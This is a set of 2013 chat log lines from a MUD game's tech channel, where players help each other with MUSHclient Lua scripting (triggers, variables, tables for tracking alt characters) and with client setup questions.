T3/r7/2013-04-17.txt.gz:{chan ch=tech}.... Hwuaijijal Tech: lua script. whats wrong with that: Execute ("k",  mitmes,  "a")
T3/r7/2013-04-17.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: .. not ,
T3/r7/2013-04-17.txt.gz:{chan ch=tech}.... Hwuaijijal Tech: Execute ("k" ..  mitmes ..  "a") ?. tried, not working. must be something else..
T3/r7/2013-04-17.txt.gz:{chan ch=tech}Mye Tech: two arguments and the possibility for both, hanslanda
T3/r7/2013-04-17.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: what is mitmes?
T3/r7/2013-04-17.txt.gz:{chan ch=tech}.... Hwuaijijal Tech: a varable
T3/r7/2013-04-17.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: .... i know that. What is contained.
T3/r7/2013-04-17.txt.gz:{chan ch=tech}.... Hwuaijijal Tech: "2."
T3/r7/2013-04-17.txt.gz:{chan ch=tech}Nuanse Tech: that's k2.a
T3/r7/2013-04-17.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: try Execute("k"..tostring(mitmes).."a")
T3/r7/2013-04-17.txt.gz:{chan ch=tech}Nuanse Tech: that's your problem
T3/r7/2013-04-17.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: But you need a space after k, so Execute("k "..tostring(mitmes).."a")
T3/r7/2013-04-17.txt.gz:{chan ch=tech}.... Hwuaijijal Tech: thanks. still doesn't work. its something else
T3/r7/2013-04-17.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: That on it's own works perfectly, is mitmes actually being set? Can't concatenate nullstrings
T3/r7/2013-04-17.txt.gz:{chan ch=tech}Nuanse Tech: try "k "
T3/r7/2013-04-17.txt.gz:{chan ch=tech}.... Hwuaijijal Tech: SetVariable ("mitmes", "2." )
T3/r7/2013-04-17.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: Don't put the . in the variable, put that in the static string
T3/r7/2013-04-17.txt.gz:{chan ch=tech}.... Hwuaijijal Tech: its something completely different, as always. but thanks, again.
T3/r7/2013-04-17.txt.gz:{chan ch=tech}Tech: help us help others...say what the issue turned out to be :-)
T3/r7/2013-04-17.txt.gz:{chan ch=tech}Tech: Helperful Cheezburger nods at you in agreement. 
T3/r7/2013-04-17.txt.gz:{chan ch=tech}.... Hwuaijijal Tech: no lbuttons work at any hotspots now. just trying to figure it out
T3/r7/2013-04-17.txt.gz:{chan ch=tech}Tech: oh, so your execute simply wasn't being called?
T3/r7/2013-04-17.txt.gz:{chan ch=tech}.... Hwuaijijal Tech: yep
T3/r7/2013-04-17.txt.gz:{chan ch=tech}Tech: I was gonna ask for clarification on "doesn't work", whether lua error or bad MUD output
T3/r7/2013-04-17.txt.gz:{chan ch=tech}Tech: if simply "nothing", then yeah, it wouldn't have been an execute syntax issue
T3/r7/2013-04-17.txt.gz:{chan ch=tech}.... Hwuaijijal Tech: there is nothing happening with lbutton on any hotspots. no nothing
T3/r7/2013-04-17.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: Try turning you numlock on/off? :P
T3/r7/2013-04-17.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: your*
T3/r7/2013-04-17.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: Wait, your keypad isn't working, or some miniwindows?
T3/r7/2013-04-17.txt.gz:{chan ch=tech}.... Hwuaijijal Tech: i try planting my hair back
T3/r7/2013-04-17.txt.gz:{chan ch=tech}.... Hwuaijijal Tech: no mouse
T3/r7/2013-04-17.txt.gz:{chan ch=tech}.... Hwuaijijal Tech: i mean.. no, mouse lbutton on my fres new miniwin
T3/r7/2013-04-17.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: Now i'm going to ask the obvious here, don't laugh. Did you try unplugging it and plugging it back in?
T3/r7/2013-04-17.txt.gz:{chan ch=tech}.... Hwuaijijal Tech: wrong social. i meant.. grrr
T3/r7/2013-04-17.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: Ok, start from the beginning here because I'm becoming confused with what isn't working. What /exactly/ isn't working?
T3/r7/2013-04-17.txt.gz:{chan ch=tech}.... Hwuaijijal Tech: i have created a miniwin. with a few hotspots for mouse buttons. rbutton works and does something, lbutton doesnt do anything. it was ok until the new commands. oh. it just takes a few minutes to get it right i guess. nevermind
T3/r7/2013-04-17.txt.gz:{chan ch=tech}(Overlord) Onslaught Tech: okay so if I want to highlight a line of text based on a keyword within that line... how would I go about it? In mushclient of course
T3/r7/2013-04-17.txt.gz:{chan ch=tech}Leinei Tech: when you're making a trigger, there's a section to change the background color
T3/r7/2013-04-17.txt.gz:{chan ch=tech}Leinei Tech: So just make a trigger that matches "*keyword*", and change the background color
T3/r7/2013-04-17.txt.gz:{chan ch=tech}Tech: can even do word highlights by just selecting the word and going to display -> highlight word
T3/r7/2013-04-17.txt.gz:{chan ch=tech}Tech: that would just do the word and not the line tho
T3/r7/2013-04-17.txt.gz:{chan ch=tech}Leinei Tech: huh, never even knew that existed
T3/r7/2013-04-17.txt.gz:{chan ch=tech}(Overlord) Onslaught Tech: ok I see that.. cool, thanks
T3/r7/2013-04-17.txt.gz:{chan ch=tech}Tech: and you'll see that all that does is create the trigger for you so it'll show up there
T3/r7/2013-04-17.txt.gz:{chan ch=tech}(Overlord) Onslaught Tech: perfect :)
T3/r7/2013-04-17.txt.gz:{chan ch=tech}Tech: what's the word, we'll test it }:>
T3/r7/2013-04-17.txt.gz:{chan ch=tech}(Overlord) Onslaught Tech: I use locate animal warhorse to find door mobs for Horizon and DoD. Highlighting the line makes finding the right number warhorse easier. Already set triggers for bothwaand working perfectly
T3/r7/2013-04-17.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: the 3rd was iron man 2
T3/r7/2013-04-17.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: mis
T3/r7/2013-04-17.txt.gz:{chan ch=tech}Hanslanda Tech: if I'm buying RAM and the max per slot is 8gb, then I'd want the 2x4gb modules and not the 2x8gb, right?
T3/r7/2013-04-17.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: just go to crucial.com and ask it what kind you need
T3/r7/2013-04-17.txt.gz:{chan ch=tech}Aizma Tech: Doesn't work. Do I need a microphone or something?
T3/r7/2013-04-17.txt.gz:{chan ch=tech}Tech: if the mobo supports 8GB per slot, and you want to leave the most availability for future expansion, then you'd want 8GB sticks
T3/r7/2013-04-17.txt.gz:{chan ch=tech}Tech: course you'd have to decide how big you'd reasonably ever want to go with the current hardware
T3/r7/2013-04-17.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: more than 8GB is probably stupid
T3/r7/2013-04-17.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: you'll replace the computer before you need more
T3/r7/2013-04-17.txt.gz:{chan ch=tech}(Overlord) Onslaught Tech: is there an inherent math system in mush like zmud?
T3/r7/2013-04-17.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: there is an inherent math system in all programming languages. maybe try explaining what you actually want.
T3/r7/2013-04-17.txt.gz:{chan ch=tech}(Overlord) Onslaught Tech: in zmud I could do #MATH equation
T3/r7/2013-04-17.txt.gz:{chan ch=tech}(Overlord) Onslaught Tech: is there something equivalent in mush?
T3/r7/2013-04-17.txt.gz:{chan ch=tech}Rikitiki Takihisis Tech: yes mush can do math also.
T3/r7/2013-04-17.txt.gz:{chan ch=tech}(Overlord) Onslaught Tech: though command line?
T3/r7/2013-04-17.txt.gz:{chan ch=tech}(Overlord) Onslaught Tech: and what is the command?
T3/r7/2013-04-17.txt.gz:{chan ch=tech}Jhav Tech: Mostly just use whatever your script prefix is and do math in Lua.
T3/r7/2013-04-17.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: \\\print(1+1)
T3/r7/2013-04-17.txt.gz:{chan ch=tech}(Overlord) Onslaught Tech: I don't have a script prefix nor do I know lua
T3/r7/2013-04-17.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: yes you do
T3/r7/2013-04-17.txt.gz:{chan ch=tech}Jhav Tech: Don't need to.  Simple math all looks exactly like you'd think simple math looks like.
T3/r7/2013-04-17.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: your script prefix is \\\
T3/r7/2013-04-17.txt.gz:{chan ch=tech}Ranrr Tech: 1 plus 1 equals banana?
T3/r7/2013-04-17.txt.gz:{chan ch=tech}Tech: Leinei asks you, "What do you get if you multiply 6 by 9?"
T3/r7/2013-04-17.txt.gz:{chan ch=tech}Tech: Leinei proclaims, "The answer is 42!" But what was the question?
T3/r7/2013-04-17.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: \\\print(42)
T3/r7/2013-04-17.txt.gz:{chan ch=tech}(Overlord) Onslaught Tech: \\\2+2= gave me a compile error
T3/r7/2013-04-17.txt.gz:{chan ch=tech}Ranrr Tech: bacon!
T3/r7/2013-04-17.txt.gz:{chan ch=tech}Jhav Tech: Remove the =
T3/r7/2013-04-17.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: Onslaught, what did I just tell you to type?
T3/r7/2013-04-17.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: I said \\\print(1+1)
T3/r7/2013-04-17.txt.gz:{chan ch=tech}(Overlord) Onslaught Tech: you said that AFTER I tried it, but okay
T3/r7/2013-04-17.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: so why would you type \\\2+2= ?
T3/r7/2013-04-17.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: you couldn't have done it after if you didn't know you had a script prefix
T3/r7/2013-04-17.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: s/after/before
T3/r7/2013-04-17.txt.gz:{chan ch=tech}(Overlord) Onslaught Tech: you said the script was 
T3/r7/2013-04-17.txt.gz:{chan ch=tech}(Overlord) Onslaught Tech: \\\ BEFORE you said \\\pri nt
T3/r7/2013-04-17.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: no
T3/r7/2013-04-17.txt.gz:{chan ch=tech}(Overlord) Onslaught Tech: well whatever, I got it to work, so thanks :p
T3/r7/2013-04-17.txt.gz:{chan ch=tech}Tech: [17 Apr 23:46:53] Fiendish Tech: \\\print(1+1)...[17 Apr 23:47:41] Fiendish Tech: your script prefix is \\\
T3/r7/2013-04-17.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: [17 Apr 23:45:50] Onslaught Tech: and what is the command?   [17 Apr 23:46:53] Fiendish Tech: \\\print(1+1)    [17 Apr 23:47:13] Onslaught Tech: I don't have a script prefix nor do I know lua
T3/r7/2013-04-17.txt.gz:{chan ch=tech}(Overlord) Onslaught Tech: all right all right geez
T3/r7/2013-04-17.txt.gz:{chan ch=tech}Atoam Tech: Well of course it looks bad if you lay it out all in chronological order like that.
T3/r7/2013-04-17.txt.gz:{chan ch=tech}Jhav Tech: Look, there's time travel involved here.  s
T3/r7/2013-04-17.txt.gz:{chan ch=tech}Mye Tech: things don't really happen chronologically. we rely on the historians to put it into order for us.
T3/r7/2013-04-18.txt.gz:{chan ch=tech}(Overlord) Onslaught Tech: and again... in zmud you used ~ to prevent client-side commants from executing... like ~
T3/r7/2013-04-18.txt.gz:{chan ch=tech}(Overlord) Onslaught Tech: ~: or whatever
T3/r7/2013-04-18.txt.gz:{chan ch=tech}(Overlord) Onslaught Tech: mush equivalent?
T3/r7/2013-04-18.txt.gz:{chan ch=tech}Leinei Tech: if you're using lua, --
T3/r7/2013-04-18.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: --
T3/r7/2013-04-18.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: i think
T3/r7/2013-04-18.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: commants?
T3/r7/2013-04-18.txt.gz:{chan ch=tech}Book of Etzli Tech: Wait, Communist ants?
T3/r7/2013-04-18.txt.gz:{chan ch=tech}Thunderax Tech: with mapper is there a way of setting a room noportal/norecall rather than attempting to use a portal/recalling?
T3/r7/2013-04-18.txt.gz:{chan ch=tech}Nuanse Tech: it's gmcp_mapper and noportal script in there. you can create alias for that. but there is no written one yet
T3/r7/2013-04-18.txt.gz:{chan ch=tech}Putt-Putt Putty Tech: anyone tell me where the menu button is in blowtorch...i cant seem to find it
T3/r7/2013-04-18.txt.gz:{chan ch=tech}Mrcakehats Tech: hey is there anyway to change the background on the muchclient aardwolf? the black really hurts my eyes, and its basicly unplayable
T3/r7/2013-04-18.txt.gz:{chan ch=tech}Aizma Tech: Black hurts your eyes?
T3/r7/2013-04-18.txt.gz:{chan ch=tech}Tech: the brightness of non-glare ;-)
T3/r7/2013-04-18.txt.gz:{chan ch=tech}Mrcakehats Tech: writing on black backgrounds hurts my eyes for some reason
T3/r7/2013-04-18.txt.gz:{chan ch=tech}Tech: the background is actually a picture of a wolf
T3/r7/2013-04-18.txt.gz:{chan ch=tech}Mrcakehats Tech: its still mostly black though
T3/r7/2013-04-18.txt.gz:{chan ch=tech}Tech: you can put a different-color picture in its place
T3/r7/2013-04-18.txt.gz:{chan ch=tech}Mrcakehats Tech: how?
T3/r7/2013-04-18.txt.gz:{chan ch=tech}Tech: find (or make, use mspaint to just make a solid color) and name it the same
T3/r7/2013-04-18.txt.gz:{chan ch=tech}Mrcakehats Tech: ah ok so in the same folder then, got ya
T3/r7/2013-04-18.txt.gz:{chan ch=tech}Tech: MUSHclient\worlds\plugins\images
T3/r7/2013-04-18.txt.gz:{chan ch=tech}Bast Tech: https://code.google.com/p/aardwolfclientpackage/wiki/FAQ#How_do_I_remove_or_change_the_Aardwolf_logo_background_image_in
T3/r7/2013-04-18.txt.gz:{chan ch=tech}Tech: you could even use one of those terrain tile pictures that are already there
T3/r7/2013-04-18.txt.gz:{chan ch=tech}Mrcakehats Tech: yeah i was thinknig of that
T3/r7/2013-04-18.txt.gz:{chan ch=tech}Mrcakehats Tech: so which one is it? there are 3 of the same
T3/r7/2013-04-18.txt.gz:{chan ch=tech}Tech: they're not the same, and the link bast just posted says exactly which one
T3/r7/2013-04-18.txt.gz:{chan ch=tech}Mrcakehats Tech: ah! thanks
T3/r7/2013-04-18.txt.gz:{chan ch=tech}Tech: the site which that link is in, is the "home" of the aard mushclient package...the wiki there has TONS of info about it :-)
T3/r7/2013-04-18.txt.gz:{chan ch=tech}Mrcakehats Tech: i think now its slightly better! just have to experiment with different background
T3/r7/2013-04-18.txt.gz:{chan ch=tech}FirstBlade Gladacus Tech: whats the not equal to sign on mush?
T3/r7/2013-04-18.txt.gz:{chan ch=tech}Book of Etzli Tech: ~=
T3/r7/2013-04-18.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: ~=
T3/r7/2013-04-18.txt.gz:{chan ch=tech}FirstBlade Gladacus Tech: thanks
T3/r7/2013-04-18.txt.gz:{chan ch=tech}Grissom Tech: ok please explain this 1103/1071hp
T3/r7/2013-04-18.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: glitch?
T3/r7/2013-04-18.txt.gz:{chan ch=tech}Fluffhead Tech: aid spell or some other such thing?
T3/r7/2013-04-18.txt.gz:{chan ch=tech}Mye Tech: vampiric proc gives you hp that can exceed your maximum.. when tick occurs it will go back to the maximum
T3/r7/2013-04-18.txt.gz:{chan ch=tech}Leinei Tech: usually aid spell for me
T3/r7/2013-04-18.txt.gz:{chan ch=tech}Grissom Tech: but i aint a vampire
T3/r7/2013-04-18.txt.gz:{chan ch=tech}Mye Tech: or aid .. vampiric is a weapon property, not a race skill
T3/r7/2013-04-18.txt.gz:{chan ch=tech}FirstBlade Gladacus Tech: how do you subtract from a variable eg i set a variable for a amount of pots bought and want to subtract for each i drink?
T3/r7/2013-04-18.txt.gz:{chan ch=tech}Trachx Tech: similar to this: world.SetVariable("player_level",tonumber(world.GetVariable("player_level") ) + 1 )
T3/r7/2013-04-18.txt.gz:{chan ch=tech}FirstBlade Gladacus Tech: thanks
T3/r7/2013-04-18.txt.gz:{chan ch=tech}Leucin Tech: might i have accidentally turned on something that is showing me table{} and room info each time i move?
T3/r7/2013-04-18.txt.gz:{chan ch=tech}Calica Tech: any help for a good client for mac?
T3/r7/2013-04-18.txt.gz:{chan ch=tech}Tech: mushclient
T3/r7/2013-04-18.txt.gz:{chan ch=tech}Aizma Tech: I use Mush through WINE on my MacBook
T3/r7/2013-04-18.txt.gz:{chan ch=tech}Fluffhead Tech: Calica, just run mush through wine
T3/r7/2013-04-18.txt.gz:{chan ch=tech}Drunk'ing Abel Tech: i use much on wine too
T3/r7/2013-04-18.txt.gz:{chan ch=tech}Drunk'ing Abel Tech: mush*
T3/r7/2013-04-18.txt.gz:{chan ch=tech}Tech: https://code.google.com/p/aardwolfclientpackage/wiki/MacLinux
T3/r7/2013-04-18.txt.gz:{chan ch=tech}LOL YOLO Gruagach Tech: like everything, find a way to run windows programs..wine or parllels
T3/r7/2013-04-18.txt.gz:{chan ch=tech}Drunk'ing Abel Tech: but I use mush wine on mint
T3/r7/2013-04-18.txt.gz:{chan ch=tech}Tech: heh, the guy that makes the aard mushclient package generally runs it under wine
T3/r7/2013-04-18.txt.gz:{chan ch=tech}Calica Tech: huh
T3/r7/2013-04-18.txt.gz:{chan ch=tech}Drunk'ing Abel Tech: ha!
T3/r7/2013-04-19.txt.gz:{chan ch=tech}Registry Tech: Is anyone familiar with Lua?
T3/r7/2013-04-19.txt.gz:{chan ch=tech}Book of Etzli Tech: Just ask your question.
T3/r7/2013-04-19.txt.gz:{chan ch=tech}Registry Tech: Thank you, Etzli. I know a little about Lua, and I'm new to creating tables. I'd like to create a table for a list of <player>. When using "alts <player>", it displays a list of that character's alt, if there are any recorded.
T3/r7/2013-04-19.txt.gz:{chan ch=tech}Registry Tech: alts *
T3/r7/2013-04-19.txt.gz:{chan ch=tech}Book of Etzli Tech: So what's your question regarding Lua?
T3/r7/2013-04-19.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: having trouble with creating the table or reporting it back?
T3/r7/2013-04-19.txt.gz:{chan ch=tech}Registry Tech: Question: How would I go about this? Would I need to create a table with tables inside of it? If so, I have no idea how to even start, then.
T3/r7/2013-04-19.txt.gz:{chan ch=tech}Book of Etzli Tech: Quite easy.
T3/r7/2013-04-19.txt.gz:{chan ch=tech}Registry Tech: The most I've done with tables is use them to keep a list of items I don't want -- if <item looted> matches, then it automatically drops and sacrifices them.
T3/r7/2013-04-19.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: yes tables within a table would be the way to do it
T3/r7/2013-04-19.txt.gz:{chan ch=tech}Book of Etzli Tech: alttable = {<player>={<alt>},<player2>={<alt2>,<alt3>}}
T3/r7/2013-04-19.txt.gz:{chan ch=tech}Registry Tech: Oh, and I neglected to mention my client. As I'm sure it could be guessed, I'm using MUSHclient.
T3/r7/2013-04-19.txt.gz:{chan ch=tech}Book of Etzli Tech: Guessed, maybe. But Lua isn't exclusive to MUSH. I use it in CMUD all the time.
T3/r7/2013-04-19.txt.gz:{chan ch=tech}Registry Tech: Oh, I didn't know you could use Lua in CMUD. I should give CMUD a try sometime.
T3/r7/2013-04-19.txt.gz:{chan ch=tech}Book of Etzli Tech: Eh, if you're happy with MUSH, stick with it.
T3/r7/2013-04-19.txt.gz:{chan ch=tech}Book of Etzli Tech: I'm just stuck on CMUD because I've done zscript for the past 15 years.
T3/r7/2013-04-19.txt.gz:{chan ch=tech}Registry Tech: Oh, wow, that's quite some time. :)
T3/r7/2013-04-19.txt.gz:{chan ch=tech}Book of Etzli Tech: But back to the problem at hand.
T3/r7/2013-04-19.txt.gz:{chan ch=tech}Registry Tech: Thank you.
T3/r7/2013-04-19.txt.gz:{chan ch=tech}Book of Etzli Tech: Once you've created your alt table, you can create an alias to add more alts.
T3/r7/2013-04-19.txt.gz:{chan ch=tech}Registry Tech: http://pastie.org/7657631 <- This is an example of a table I've made for a friend.
T3/r7/2013-04-19.txt.gz:{chan ch=tech}Registry Tech: I'll post another pastie of adding a table in a second, which will represent my thoughts about going into this.
T3/r7/2013-04-19.txt.gz:{chan ch=tech}Book of Etzli Tech: Give me a moment here. ;)
T3/r7/2013-04-19.txt.gz:{chan ch=tech}Registry Tech: Thank you, Etzli. :)
T3/r7/2013-04-19.txt.gz:{chan ch=tech}Registry Tech: I thought of another factor as well. Let's say Gammon has an alt, which I added. {Gammon{Nick}} If I did a search for Nick, would it result in showing the relation between Nick and Gammon? Or would it treat it as another player and return with "No alts found for Nick"? 
T3/r7/2013-04-19.txt.gz:{chan ch=tech}Book of Etzli Tech: http://pastebin.com/MBg6Fta3 -- I'm not 100% sure it works. I'm a bit inebriated, but check it out, try it, and report back.
T3/r7/2013-04-19.txt.gz:{chan ch=tech}Book of Etzli Tech: As it stands, it'd show "No alts found for Nick."
T3/r7/2013-04-19.txt.gz:{chan ch=tech}Book of Etzli Tech: However, given Lua's speed, you could easily adapt it to search both key and alt fields.
T3/r7/2013-04-19.txt.gz:{chan ch=tech}Registry Tech: May I be welcome to bother you if I have any issues in trying to adapt it to such a function?
T3/r7/2013-04-19.txt.gz:{chan ch=tech}Book of Etzli Tech: Well, not "easily" but you could possibly do it that way.
T3/r7/2013-04-19.txt.gz:{chan ch=tech}Registry Tech: (Also. Wow, that was quick.)
T3/r7/2013-04-19.txt.gz:{chan ch=tech}Book of Etzli Tech: Sure, though I'll probably be heading to bed shortly.
T3/r7/2013-04-19.txt.gz:{chan ch=tech}Registry Tech: No problem, in that case, I'll communicate through tells in the event you're offline. :)
T3/r7/2013-04-19.txt.gz:{chan ch=tech}Registry Tech: Thank you very much for your help, Etzli. :)
T3/r7/2013-04-19.txt.gz:{chan ch=tech}Book of Etzli Tech: Of course. My tells are always on, I'm always* online (*disclaimer: except when I'm not...), and you can use the note system if you have to in either case.
T3/r7/2013-04-19.txt.gz:{chan ch=tech}Tech: Registry nods.
T3/r7/2013-04-19.txt.gz:{chan ch=tech}Book of Etzli Tech: Damn it, now I'm curious. I'm actually working and testing this myself to see if I can make it work... Thanks, Registry. :p
T3/r7/2013-04-19.txt.gz:{chan ch=tech}Registry Tech: I'm glad I could help. In that case, would it be beneficial to add alttable = "%1" or {} in the beginning of the adding alts alias?
T3/r7/2013-04-19.txt.gz:{chan ch=tech}Daloran Tech: http://xkcd.com/356/ I think this just happened to Etz
T3/r7/2013-04-19.txt.gz:{chan ch=tech}Registry Tech: Or, rather, glad I could keep you... Curious? D:
T3/r7/2013-04-19.txt.gz:{chan ch=tech}Tech: Book of Etzli nods at Daloran.
T3/r7/2013-04-19.txt.gz:{chan ch=tech}Book of Etzli Tech: No, it wouldn't.
T3/r7/2013-04-19.txt.gz:{chan ch=tech}Tech: Daloran licks Book of Etzli.
T3/r7/2013-04-19.txt.gz:{chan ch=tech}Registry Tech: Ah. Well, I have an error when I try to "alts add test othertest
T3/r7/2013-04-19.txt.gz:{chan ch=tech}Registry Tech: "
T3/r7/2013-04-19.txt.gz:{chan ch=tech}Registry Tech: Error is: [string "Alias: "]:2: attempt to index global 'alttable' (a string value)
T3/r7/2013-04-19.txt.gz:{chan ch=tech}Book of Etzli Tech: You're probably going to need to make the adding part its own alias, though, hmm.
T3/r7/2013-04-19.txt.gz:{chan ch=tech}Registry Tech: It is. I'll make a pastie of it.
T3/r7/2013-04-19.txt.gz:{chan ch=tech}Registry Tech: http://pastie.org/7658106
T3/r7/2013-04-19.txt.gz:{chan ch=tech}Book of Etzli Tech: Well, for starters, we didn't initally create the table, which is where the problem lies. You can do so now by typing: \\\alttable={}
T3/r7/2013-04-19.txt.gz:{chan ch=tech}Book of Etzli Tech: Then you can run the addalt alias again.
T3/r7/2013-04-19.txt.gz:{chan ch=tech}Registry Tech: Done! :D
T3/r7/2013-04-19.txt.gz:{chan ch=tech}Book of Etzli Tech: However, with three quick functions, I've managed to answer all of your concerns, I believe.
T3/r7/2013-04-19.txt.gz:{chan ch=tech}Registry Tech: Running that same alts add command twice resulted in another error, as well.
T3/r7/2013-04-19.txt.gz:{chan ch=tech}Registry Tech: Wait, nevermind. :)
T3/r7/2013-04-19.txt.gz:{chan ch=tech}Book of Etzli Tech: http://pastebin.com/ZqEvuznm
T3/r7/2013-04-19.txt.gz:{chan ch=tech}Book of Etzli Tech: Use those functions.
T3/r7/2013-04-19.txt.gz:{chan ch=tech}Registry Tech: How are you so quick to make things? I feel like a snail compared to you. :P
T3/r7/2013-04-19.txt.gz:{chan ch=tech}Book of Etzli Tech: You'd do: addalt("name","alt")
T3/r7/2013-04-19.txt.gz:{chan ch=tech}Book of Etzli Tech: Then: findalt("name") -- You can use whatever name suits you at the moment (in reference to your Gammon/Nick, you could search for either Nick OR Gammon).
T3/r7/2013-04-19.txt.gz:{chan ch=tech}Book of Etzli Tech: You don't need to worry about the searchnicks part, that's just a helper function.
T3/r7/2013-04-19.txt.gz:{chan ch=tech}Book of Etzli Tech: As for how am I so quick... well, I have a lot of experience.
T3/r7/2013-04-19.txt.gz:{chan ch=tech}Book of Etzli Tech: [Melvin]: Hanford, CA: Clear Temp: 52.5 F (11.4 C) Humidity: 68%.  Wind: NNW at 0mph.
T3/r7/2013-04-19.txt.gz:{chan ch=tech}Book of Etzli Tech: My weatherbot, written in Lua.
T3/r7/2013-04-19.txt.gz:{chan ch=tech}Book of Etzli Tech: For instance. ;)
T3/r7/2013-04-19.txt.gz:{chan ch=tech}Book of Etzli Tech: Keep in mind I didn't add "user-error" checking.
T3/r7/2013-04-19.txt.gz:{chan ch=tech}Registry Tech: "user-error" checking? As in, typographical erros?
T3/r7/2013-04-19.txt.gz:{chan ch=tech}Book of Etzli Tech: Lua's a fickle language in that it is case-sensitive. So, "Registry" will not match "registry" or "RegiStrY".
T3/r7/2013-04-19.txt.gz:{chan ch=tech}Registry Tech: errors *
T3/r7/2013-04-19.txt.gz:{chan ch=tech}Tech: Registry nods.
T3/r7/2013-04-19.txt.gz:{chan ch=tech}Book of Etzli Tech: So you can either be consistent with how you put your names in (always lowercase, always uppercase, always propercase), or you can add it yourself by forcing Lua to look at string.upper.
T3/r7/2013-04-19.txt.gz:{chan ch=tech}Registry Tech: Would I just copy and paste that into my alts add alias? The whole thing? Or the first part would be alts add, and the last two be in alts list?
T3/r7/2013-04-19.txt.gz:{chan ch=tech}Book of Etzli Tech: It wouldn't matter where you put them because once they're loaded, they're loaded. You might consider just doing it separately, like the latter of your two options.
T3/r7/2013-04-19.txt.gz:{chan ch=tech}Book of Etzli Tech: Also, I'm not sure how MUSH saves variables, but if it's anything like CMUD, once you exit MUSH, the Lua variables are cleared since they're stored in local memory. This means that unless you save the table itself or set it to a variable, you'll have to re-add all alts each time you restart MUSH.
T3/r7/2013-04-19.txt.gz:{chan ch=tech}Registry Tech: Yeah. I was curious as to that. I wonder if saving would be the same as saving for just one table.
T3/r7/2013-04-19.txt.gz:{chan ch=tech}Registry Tech: I've never used string.upper, but for names, I'd be insistent upon it
T3/r7/2013-04-19.txt.gz:{chan ch=tech}Registry Tech: I hate being so new. D:
T3/r7/2013-04-19.txt.gz:{chan ch=tech}Book of Etzli Tech: Meh, there's a table.save function that you can use. I use it for all my tracking.
T3/r7/2013-04-19.txt.gz:{chan ch=tech}Registry Tech: Oh. I'll have to look that up sometime to see how I'd use it. :)
T3/r7/2013-04-19.txt.gz:{chan ch=tech}Book of Etzli Tech: It's something someone wrote up. It saves a local file to your hard drive. It's quite nice, really.
T3/r7/2013-04-19.txt.gz:{chan ch=tech}Registry Tech: Oh?
T3/r7/2013-04-19.txt.gz:{chan ch=tech}Registry Tech: So I wouldn't this in MUSHclient's forums?
T3/r7/2013-04-19.txt.gz:{chan ch=tech}Book of Etzli Tech: It's for that reason I'm able to not use CMUD variables at all.
T3/r7/2013-04-19.txt.gz:{chan ch=tech}Book of Etzli Tech: I don't know if you'd find it in MUSHclient's forums.
T3/r7/2013-04-19.txt.gz:{chan ch=tech}Book of Etzli Tech: Also, lua-users.org -- great resource for learning a variety of tricks with Lua. It's where I got the table.save/load function.
T3/r7/2013-04-19.txt.gz:{chan ch=tech}Registry Tech: Ah, I see. As a new user, I get a tad confused when trying to incorporate the lessons there to applying them in MUSHclient. Is there a tad difference? How would I treat this?
T3/r7/2013-04-19.txt.gz:{chan ch=tech}Book of Etzli Tech: How do you mean? If you're asking what changes you'd make from a code you found on lua-users.org to incorporate it into MUSH, I doubt there's much you'd need to change at all.
T3/r7/2013-04-19.txt.gz:{chan ch=tech}Registry Tech: (For example, I recently learned to use a MUSHclient operation first, before Lua. For example: Note(table.concat(stuff goes here)) (This could be seen in the first pastie I provided, in "notrick list" or some such.)
T3/r7/2013-04-19.txt.gz:{chan ch=tech}Registry Tech: That was, actually.
T3/r7/2013-04-19.txt.gz:{chan ch=tech}Book of Etzli Tech: Really, anything you find inside MUSH (such as the Note() function) are just Lua functions pre-loaded with MUSH.
T3/r7/2013-04-19.txt.gz:{chan ch=tech}Registry Tech: Okay. Well, I believe I have only one more question. Which I'm having troubles looking up online. Or I don't know how to use the internet. :P
T3/r7/2013-04-19.txt.gz:{chan ch=tech}Book of Etzli Tech: Also, if you're looking to use string.upper to make things more consistent no matter how you enter names, just add the following line to the start of the addalt function: local uname, ualt = string.upper(name), string.upper(alt) --- then change all the "name" and "alt" to "uname" and "ualt" in that function.
T3/r7/2013-04-19.txt.gz:{chan ch=tech}Book of Etzli Tech: You'll want to add: local uname = string.upper(name) --- to the other two functions, however, and make the same changes of name to uname.
T3/r7/2013-04-19.txt.gz:{chan ch=tech}Registry Tech: Wow, that was it. Thank you very much Etzli. Are there any kind of lists I can make that a player might find useful? I have one for items looted from corpses already, one for a bag that generates item (which was for my friend, he plays a different game)
T3/r7/2013-04-19.txt.gz:{chan ch=tech}Book of Etzli Tech: I'm not really a lists type of person.
T3/r7/2013-04-19.txt.gz:{chan ch=tech}Book of Etzli Tech: So, I wouldn't even begin to know where to look, ultimately. ;)
T3/r7/2013-04-19.txt.gz:{chan ch=tech}Book of Etzli Tech: I'm more for the information.
